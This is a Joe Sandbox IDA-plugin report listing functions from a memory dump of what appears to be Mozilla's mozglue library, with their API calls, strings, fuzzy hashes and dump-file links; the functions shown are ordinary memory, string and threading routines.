Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: a4288811897e8223e421a05b3aa556d2c3a100a4eeb959a914bb205317d59708
Instruction ID: d3ffd2a4eddfff661f34d83018c56f3cc61f2726c34efea6f0f87fc273a88cd0
Opcode Fuzzy Hash: a4288811897e8223e421a05b3aa556d2c3a100a4eeb959a914bb205317d59708
Instruction Fuzzy Hash: 1051A371A002018FE710DF6ACD80BAAB7B6FF94314F294639E51597F94E730F9169B80

Function 6C958E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C94B58D,?,?,?,?,?,?,?,6C97D734,?,?,?,6C97D734), ref: 6C958E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C94B58D,?,?,?,?,?,?,?,6C97D734,?,?,?,6C97D734), ref: 6C958EBF
free.MOZGLUE(?,?,?,?,6C94B58D,?,?,?,?,?,?,?,6C97D734,?,?,?), ref: 6C958F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C94B58D,?,?,?,?,?,?,?,6C97D734,?,?,?,6C97D734), ref: 6C958F46
free.MOZGLUE(?,?,?,?,6C94B58D,?,?,?,?,?,?,?,6C97D734,?,?,?), ref: 6C958F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C94B58D,?,?,?,?,?,?,?,6C97D734,?,?,?), ref: 6C958F8F

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: e69475cd072adc9b721ff1b7b071edc7bfb8b76b5c638efacd0f42de709bd2c5
Instruction ID: 8ff6ef8dbf890230f1b711f3b612c6c719ec2d0d969d82f66e11f3107c407bdf
Opcode Fuzzy Hash: e69475cd072adc9b721ff1b7b071edc7bfb8b76b5c638efacd0f42de709bd2c5
Instruction Fuzzy Hash: A351E2B1A112168FEB18CF54D88077E73B6BF48308F64052AD916AB700E732F924CBD5

Function 6C9160E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C915FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C9160F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C915FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C916180
free.MOZGLUE(?,?,?,?,6C915FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C916211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C915FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C916229
free.MOZGLUE(?,?,?,?,6C915FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C91625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C915FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C916271

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: c73d5172178af07afc92ee67555c17bbcdd70628bc39c030fef57d562cea93a6
Instruction ID: 19eb3d2d66cb672abcabada7341c2bfda564e7504ceccd8b4ced3087009b0858
Opcode Fuzzy Hash: c73d5172178af07afc92ee67555c17bbcdd70628bc39c030fef57d562cea93a6
Instruction Fuzzy Hash: FD519DB1E0920A8FEB14CF68D8827AEB7B5EF45358F200939C916D7B11E731EA54CB51

Function 6C9527E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C952620,?,?,?,6C9460AA,6C945FCB,6C9479A3), ref: 6C95284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C952620,?,?,?,6C9460AA,6C945FCB,6C9479A3), ref: 6C95289A
free.MOZGLUE(?,?,?,6C952620,?,?,?,6C9460AA,6C945FCB,6C9479A3), ref: 6C9528F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C952620,?,?,?,6C9460AA,6C945FCB,6C9479A3), ref: 6C952910
free.MOZGLUE(00000001,?,?,6C952620,?,?,?,6C9460AA,6C945FCB,6C9479A3), ref: 6C95293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C952620,?,?,?,6C9460AA,6C945FCB,6C9479A3), ref: 6C95294E

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 5b6dd75491083803943d0ed41837c7c3b13df92bbeb541d9fcc197a619e992c7
Instruction ID: b2b05c646ad126938ab3e3613c408e6659f02268ed58a9904d98a264129d5fff
Opcode Fuzzy Hash: 5b6dd75491083803943d0ed41837c7c3b13df92bbeb541d9fcc197a619e992c7
Instruction Fuzzy Hash: C741E0F1A006068FEB14CF68D89476A73FAAB45308F640939D656EB740E731F914CB91

Function 6C90CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C98E784), ref: 6C90CFF6
LeaveCriticalSection.KERNEL32(6C98E784), ref: 6C90D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C90D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C90D139

Strings

MOZ_CRASH(), xrefs: 6C90D187

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 98f511990303d13569743820953c363153c9b2b66047eb0f0ad1589f06ff29f8
Instruction ID: 6d2bb380a6e4d4963a9790cdd135a7811e17b9fdee9331e0e38e81aaf559dafc
Opcode Fuzzy Hash: 98f511990303d13569743820953c363153c9b2b66047eb0f0ad1589f06ff29f8
Instruction Fuzzy Hash: 2C41B176B063169FDF088E7C8CA476A76B4EB4AB14F24053DE918E7784D7A19D008BD4

Function 6C904DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C904E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C904E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C904EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C904F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C904F1E

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 096ea014d67e1a34ab7f827fd30dc8c8f0362ee066becb78693a74ae99c06f77
Instruction ID: 1ad94c8be4c3a438a09497b9fa6fe458074de5b5580fa70114ea8e473a0155ce
Opcode Fuzzy Hash: 096ea014d67e1a34ab7f827fd30dc8c8f0362ee066becb78693a74ae99c06f77
Instruction Fuzzy Hash: 2441D072608701DFC705CF29C48095BB7E8BFA9344F108A2DF56587B41DB70E958CB92

Function 6C911530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C91152B,?,?,?,?,6C911248,?), ref: 6C91159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C91152B,?,?,?,?,6C911248,?), ref: 6C9115BC
moz_xmalloc.MOZGLUE(-00000001,?,6C91152B,?,?,?,?,6C911248,?), ref: 6C9115E7
free.MOZGLUE(?,?,?,?,?,?,6C91152B,?,?,?,?,6C911248,?), ref: 6C911606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C91152B,?,?,?,?,6C911248,?), ref: 6C911637

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: f09c53fbf9d9dd20b1b048dea69922b9cb7a1614fdfb7c314f05dabfc6f89e55
Instruction ID: 0aa095411737977a123d3ecf24c55b4a2a8325113a61ec748da9993de8b6e303
Opcode Fuzzy Hash: f09c53fbf9d9dd20b1b048dea69922b9cb7a1614fdfb7c314f05dabfc6f89e55
Instruction Fuzzy Hash: 2331EC71A08119ABC7188E78D85147E77E9BBA23747240B2DE423D7FD4EB31D9048791

Function 6C96AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C97E330,?,6C92C059), ref: 6C96AD9D

Part of subcall function 6C91CA10: malloc.MOZGLUE(?), ref: 6C91CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C97E330,?,6C92C059), ref: 6C96ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C97E330,?,6C92C059), ref: 6C96AE01
GetLastError.KERNEL32(?,00000000,?,?,6C97E330,?,6C92C059), ref: 6C96AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C97E330,?,6C92C059), ref: 6C96AE3D

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 3e144508e329d30cf40875ec433eb12dd91ac42cd19e3aaf6ce99f55da9df846
Instruction ID: b1164f44034acba11cdaa8966d8f10631991f9f5f667362304b54df1a371ebe5
Opcode Fuzzy Hash: 3e144508e329d30cf40875ec433eb12dd91ac42cd19e3aaf6ce99f55da9df846
Instruction Fuzzy Hash: A33144B1A012159FDB10DF768C44AABB7F8EF59654F15482DE85AD7740EB34D804CBB0

Function 6C965EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C97DCA0,?,?,?,6C93E8B5,00000000), ref: 6C965F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C93E8B5,00000000), ref: 6C965F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C93E8B5,00000000), ref: 6C965F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C93E8B5,00000000), ref: 6C965F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C93E8B5,00000000), ref: 6C965FD6

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: ed03351a7393a02f6559400af4757c2b530c2f02fb0eb4772fd134f1394ac813
Instruction ID: f0dc02744632ed60f80998e6bf29cfc3b23c85c6894b12a4a0ece759fe0e7fd2
Opcode Fuzzy Hash: ed03351a7393a02f6559400af4757c2b530c2f02fb0eb4772fd134f1394ac813
Instruction Fuzzy Hash: 6B311C343056009FE710CF2AC898F2AB7F9FF89319B688958E55687B96C771EC51CB80

Function 6C90B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C90B532
moz_xmalloc.MOZGLUE(?), ref: 6C90B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C90B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C90B57E
free.MOZGLUE(00000000), ref: 6C90B58F

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: cae610afbf6916b474c2db331c722220c0938f3305afee1cba5b189d748399bd
Instruction ID: 81d560eadd647c2fdbaeb489f3c2a8bee76d063d3fea41d946e95665b18ac3f4
Opcode Fuzzy Hash: cae610afbf6916b474c2db331c722220c0938f3305afee1cba5b189d748399bd
Instruction Fuzzy Hash: CD210271B042059BDB008F68CC40BAEBBB9FF96308F28416DE818DB341E736D911C7A0

Function 6C90B7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C90B7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C90B808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C90B82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C90B840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C90B849

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 27714204970e1e7c3b0434d5d69a27d2f4d0ff4da542485f6066edb12ff0d08a
Instruction ID: 010509f5bd3f9d0ce802d24366daca055ec95f1ac9bbf42eb69f39d3447358c2
Opcode Fuzzy Hash: 27714204970e1e7c3b0434d5d69a27d2f4d0ff4da542485f6066edb12ff0d08a
Instruction Fuzzy Hash: 3E215AB0E002099FDF04DFA9D8859FEBBB8EF49714F148569EC05A7701E731A944CBA1

Function 6C966E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C966E78

Part of subcall function 6C966A10: InitializeCriticalSection.KERNEL32(6C98F618), ref: 6C966A68
Part of subcall function 6C966A10: GetCurrentProcess.KERNEL32 ref: 6C966A7D
Part of subcall function 6C966A10: GetCurrentProcess.KERNEL32 ref: 6C966AA1
Part of subcall function 6C966A10: EnterCriticalSection.KERNEL32(6C98F618), ref: 6C966AAE
Part of subcall function 6C966A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C966AE1
Part of subcall function 6C966A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C966B15
Part of subcall function 6C966A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C966B65
Part of subcall function 6C966A10: LeaveCriticalSection.KERNEL32(6C98F618,?,?), ref: 6C966B83

MozFormatCodeAddress.MOZGLUE ref: 6C966EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C966EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C966EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C966EFF

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 45736e9be86df1c84bccb6be687901bd0e2aa4fed87328814647ec51cd53e407
Instruction ID: 179330330255d5df197ea40fd52e50acaa66126f0155eda358bf63858737bc42
Opcode Fuzzy Hash: 45736e9be86df1c84bccb6be687901bd0e2aa4fed87328814647ec51cd53e407
Instruction Fuzzy Hash: A021A471A0421A9FDB00DF69D8856DE77F9EF89308F044439E80997341DB749A58CF92

Function 6C9676C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C9676F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C967705

Part of subcall function 6C91CA10: malloc.MOZGLUE(?), ref: 6C91CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C967717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C96778F,00000000,00000000,00000000,00000000), ref: 6C967731
free.MOZGLUE(00000000), ref: 6C967760

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 4cdf06875fa2a7888f8d35b75073345c16b6b8be5470d78f22ef093cf03ab841
Instruction ID: 2ce8a2ace29a3b8cf66e7b8de15358d786f959d3c1e60d69421c6ee83fd6b236
Opcode Fuzzy Hash: 4cdf06875fa2a7888f8d35b75073345c16b6b8be5470d78f22ef093cf03ab841
Instruction Fuzzy Hash: F611E2B19052156BE710AF768C44BAFBFF8EF56754F144929F888A7700E770894487E2

Function 6C940D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C903DEF), ref: 6C940D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C903DEF), ref: 6C940D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C903DEF), ref: 6C940DAF

Strings

<jemalloc>, xrefs: 6C940D92, 6C940DB9
: (malloc) Error in VirtualFree(), xrefs: 6C940D97, 6C940DBE

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 2232ce7aa4a610c13739c430a949c25d8f5ec0b08ba54226ae53e821b7d0c48e
Instruction ID: 8e558d89bb1384caa5f34cc61d7e61f1ec2d1efbb126b26ccb54e5d66aea84bb
Opcode Fuzzy Hash: 2232ce7aa4a610c13739c430a949c25d8f5ec0b08ba54226ae53e821b7d0c48e
Instruction Fuzzy Hash: ACF0A73238639823E72021665C0BF5A276DAFD3F65F75D436F324DF9C0DA50E8188AA5

Function 6C957620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C9575C4,?), ref: 6C95762B

Part of subcall function 6C91CA10: malloc.MOZGLUE(?), ref: 6C91CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C9574D7,6C9615FC,?,?,?), ref: 6C957644
GetCurrentThreadId.KERNEL32 ref: 6C95765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9574D7,6C9615FC,?,?,?), ref: 6C957663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C9574D7,6C9615FC,?,?,?), ref: 6C957677

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: b583a3cef18e2d972bf8fa429164659beba2d60d96354d4d6b1758e7b16c55e5
Instruction ID: f39a5125da2e38b8ffbda32c5baeb5b1c9e5ede9c01c7bb38605851bf94e3bf0
Opcode Fuzzy Hash: b583a3cef18e2d972bf8fa429164659beba2d60d96354d4d6b1758e7b16c55e5
Instruction Fuzzy Hash: 8DF08C72E14745ABD7008F21C888A66B778FFAB259F255316F90543612E7B0A5D08BE0

Function 6C961700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C961800

Part of subcall function 6C93CBE8: GetCurrentProcess.KERNEL32(?,6C9031A7), ref: 6C93CBF1
Part of subcall function 6C93CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9031A7), ref: 6C93CBFA

Part of subcall function 6C904290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C943EBD,6C943EBD,00000000), ref: 6C9042A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C9618C7
name, xrefs: 6C961939
Details, xrefs: 6C961925

Memory Dump Source

Source File: 00000000.00000002.2747695795.000000006C901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C900000, based on PE: true

Associated: 00000000.00000002.2747641922.000000006C900000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747813947.000000006C97D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747879795.000000006C98E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2747928464.000000006C992000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c900000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 3a8ceca0acb3dc73cc602349931d155c651754cd6084dcbf49cde82c7e6b5577
